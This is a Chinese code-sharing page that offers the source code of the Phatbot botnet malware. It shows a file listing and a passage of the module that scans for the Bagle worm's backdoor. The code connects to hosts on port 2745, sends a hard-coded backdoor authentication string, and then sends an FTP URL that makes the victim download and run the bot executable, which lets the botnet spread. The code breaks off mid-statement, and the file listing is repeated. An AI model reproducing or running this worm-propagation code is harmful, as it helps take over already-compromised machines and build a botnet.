病毒Phatbot源代码,使用C++ STL编写
代码片段和文件信息
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
文件 0 2004-03-21 17:22 Phatbot-stoney.svnempty-file
文件 36018 2004-03-22 21:01 Phatbot-stoney.svnentries
文件 2 2004-03-21 17:22 Phatbot-stoney.svnformat
文件 4 2004-03-21 17:23 Phatbot-stoney.svnprop-base3dnow.h.svn-base
文件 30 2004-03-22 16:39 Phatbot-stoney.svnprop-baseacinit.sh.svn-base
文件 4 2004-03-21 17:23 Phatbot-stoney.svnprop-baseagobot3.dsp.svn-base
文件 4 2004-03-21 17:23 Phatbot-stoney.svnprop-baseagobot3.dsw.svn-base
文件 4 2004-03-21 17:23 Phatbot-stoney.svnprop-baseagobot3.rc.svn-base
文件 4 2004-03-21 17:23 Phatbot-stoney.svnprop-baseapl.txt.svn-base
文件 53 2004-03-21 17:23 Phatbot-stoney.svnprop-baseasmstub.OBJ.svn-base
文件 4 2004-03-21 17:22 Phatbot-stoney.svnprop-baseaglescanner.cpp.svn-base
文件 4 2004-03-21 17:23 Phatbot-stoney.svnprop-basenc.cpp.svn-base
文件 4 2004-03-21 17:23 Phatbot-stoney.svnprop-basenc.h.svn-base
文件 4 2004-03-22 16:39 Phatbot-stoney.svnprop-baseot.cpp.svn-base
文件 4 2004-03-21 17:22 Phatbot-stoney.svnprop-baseot.h.svn-base
文件 4 2004-03-21 17:22 Phatbot-stoney.svnprop-baseuild.h.svn-base
文件 30 2004-03-21 17:23 Phatbot-stoney.svnprop-baseuild.sh.svn-base
文件 4 2004-03-22 21:01 Phatbot-stoney.svnprop-basechanges.txt.svn-base
文件 4 2004-03-21 17:23 Phatbot-stoney.svnprop-basecmdbase.h.svn-base
文件 4 2004-03-21 17:22 Phatbot-stoney.svnprop-basecmdline.cpp.svn-base
文件 4 2004-03-21 17:22 Phatbot-stoney.svnprop-basecmdline.h.svn-base
文件 4 2004-03-21 17:22 Phatbot-stoney.svnprop-basecmdopt.h.svn-base
文件 4 2004-03-21 17:23 Phatbot-stoney.svnprop-basecmdshell.cpp.svn-base
文件 4 2004-03-21 17:23 Phatbot-stoney.svnprop-basecmdshell.h.svn-base
文件 4 2004-03-21 17:23 Phatbot-stoney.svnprop-basecommands.cpp.svn-base
文件 4 2004-03-21 17:22 Phatbot-stoney.svnprop-basecommands.h.svn-base
文件 4 2004-03-21 17:23 Phatbot-stoney.svnprop-baseconfbase.h.svn-base
文件 4 2004-03-22 21:01 Phatbot-stoney.svnprop-baseconfig.cpp.svn-base
文件 4 2004-03-21 17:23 Phatbot-stoney.svnprop-baseconfig.def.svn-base
文件 53 2004-03-22 16:39 Phatbot-stoney.svnprop-baseconfiggui.exe.svn-base
............此处省略1418个文件信息
/*$T baglescanner.cpp GC 1.138 03/15/04 03:20:05 */
/*$6
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
*/
#include “main.h“
#include “mainctrl.h“
#include “utility.h“
class CScannerBagle :
public CScannerbase
{
/*
-----------------------------------------------------------------------------------------------------------------------
-----------------------------------------------------------------------------------------------------------------------
*/
public:
CScannerBagle(void);
virtual ~CScannerBagle()
throw()
{
}
bool Exploit(void);
};
#define BAGLE_DEFAULT_PORT 2745
/*
* Bagle.C : 3E7506B1 Bagle.E : 3E7506B1 Bagle.F : 9C0209C4 Bagle.G : 9C0209C4
* Bagle.H : 9C0209C4 Bagle.J : 9C0209C4 Bagle.K : 9C0209C4 ?
*/
/*
* OLD if someone thinks we should still send for the old version(that has timed out)
* do it I‘m too lazy and I doubt there is much point [thegeek]
*/
//char bagle_auth1[] = “x43xFFxFFxFFx30x30x30x01x0Ax1Fx2Bx28x2BxA1x32x01“;
char bagle_auth2[] = “x43xFFxFFxFFx30x30x30x01x0Ax28x91xA1x2BxE6x60x2Fx32x8Fx60x15x1Ax20x1A“;
char spreadurl[] = “URL“;
/*
=======================================================================================================================
=======================================================================================================================
*/
CScannerBagle::CScannerBagle(void)
{
m_szType = “CScannerBagle“;
m_sScannerName.Assign(“Bagle“);
}
/*
=======================================================================================================================
=======================================================================================================================
*/
bool CScannerBagle::Exploit(void)
{
/*~~~~~~~~~~~~~~~~~~~*/
char szRecvBuf[128];
/*~~~~~~~~~~~~~~~~~~~*/
if(!m_sSocket.Connect(m_sSocket.m_szHost BAGLE_DEFAULT_PORT)) /* Connect failed exit */
{
return false;
}
if(g_pMainCtrl->m_cBot.scaninfo_level.iValue >= 2)
{
SendLocal(“%s: Scanning %s“ m_sScannerName.CStr() m_sSocket.m_szHost);
}
if(!m_sSocket.Write(bagle_auth2 sizeof(bagle_auth2)))
{
m_sSocket.Disconnect();
return false;
}
if(!m_sSocket.RecvTO(szRecvBuf 8 5000))
{
m_sSocket.Disconnect();
return false;
}
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
int iPort = g_pMainCtrl->m_cBot.bot_ftrans_port_ftp.iValue;
CString sSpreadURL;
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
sSpreadURL.Format(“ftp://bla:bla@%s:%d/bot.exe“ g_pMainCtrl->m_cIRC.m_sLocalIp.CStr() iPort);
/* Send the url to download file from use built in ftp. */
if(!m_sSocket.Write(sSpreadURL.CStr(
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
文件 0 2004-03-21 17:22 Phatbot-stoney.svnempty-file
文件 36018 2004-03-22 21:01 Phatbot-stoney.svnentries
文件 2 2004-03-21 17:22 Phatbot-stoney.svnformat
文件 4 2004-03-21 17:23 Phatbot-stoney.svnprop-ba
文件 30 2004-03-22 16:39 Phatbot-stoney.svnprop-ba
文件 4 2004-03-21 17:23 Phatbot-stoney.svnprop-ba
文件 4 2004-03-21 17:23 Phatbot-stoney.svnprop-ba
文件 4 2004-03-21 17:23 Phatbot-stoney.svnprop-ba
文件 4 2004-03-21 17:23 Phatbot-stoney.svnprop-ba
文件 53 2004-03-21 17:23 Phatbot-stoney.svnprop-ba
文件 4 2004-03-21 17:22 Phatbot-stoney.svnprop-ba
文件 4 2004-03-21 17:23 Phatbot-stoney.svnprop-ba
文件 4 2004-03-21 17:23 Phatbot-stoney.svnprop-ba
文件 4 2004-03-22 16:39 Phatbot-stoney.svnprop-ba
文件 4 2004-03-21 17:22 Phatbot-stoney.svnprop-ba
文件 4 2004-03-21 17:22 Phatbot-stoney.svnprop-ba
文件 30 2004-03-21 17:23 Phatbot-stoney.svnprop-ba
文件 4 2004-03-22 21:01 Phatbot-stoney.svnprop-ba
文件 4 2004-03-21 17:23 Phatbot-stoney.svnprop-ba
文件 4 2004-03-21 17:22 Phatbot-stoney.svnprop-ba
文件 4 2004-03-21 17:22 Phatbot-stoney.svnprop-ba
文件 4 2004-03-21 17:22 Phatbot-stoney.svnprop-ba
文件 4 2004-03-21 17:23 Phatbot-stoney.svnprop-ba
文件 4 2004-03-21 17:23 Phatbot-stoney.svnprop-ba
文件 4 2004-03-21 17:23 Phatbot-stoney.svnprop-ba
文件 4 2004-03-21 17:22 Phatbot-stoney.svnprop-ba
文件 4 2004-03-21 17:23 Phatbot-stoney.svnprop-ba
文件 4 2004-03-22 21:01 Phatbot-stoney.svnprop-ba
文件 4 2004-03-21 17:23 Phatbot-stoney.svnprop-ba
文件 53 2004-03-22 16:39 Phatbot-stoney.svnprop-ba
............此处省略1418个文件信息
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件举报,一经查实,本站将立刻删除。
评论列表(条)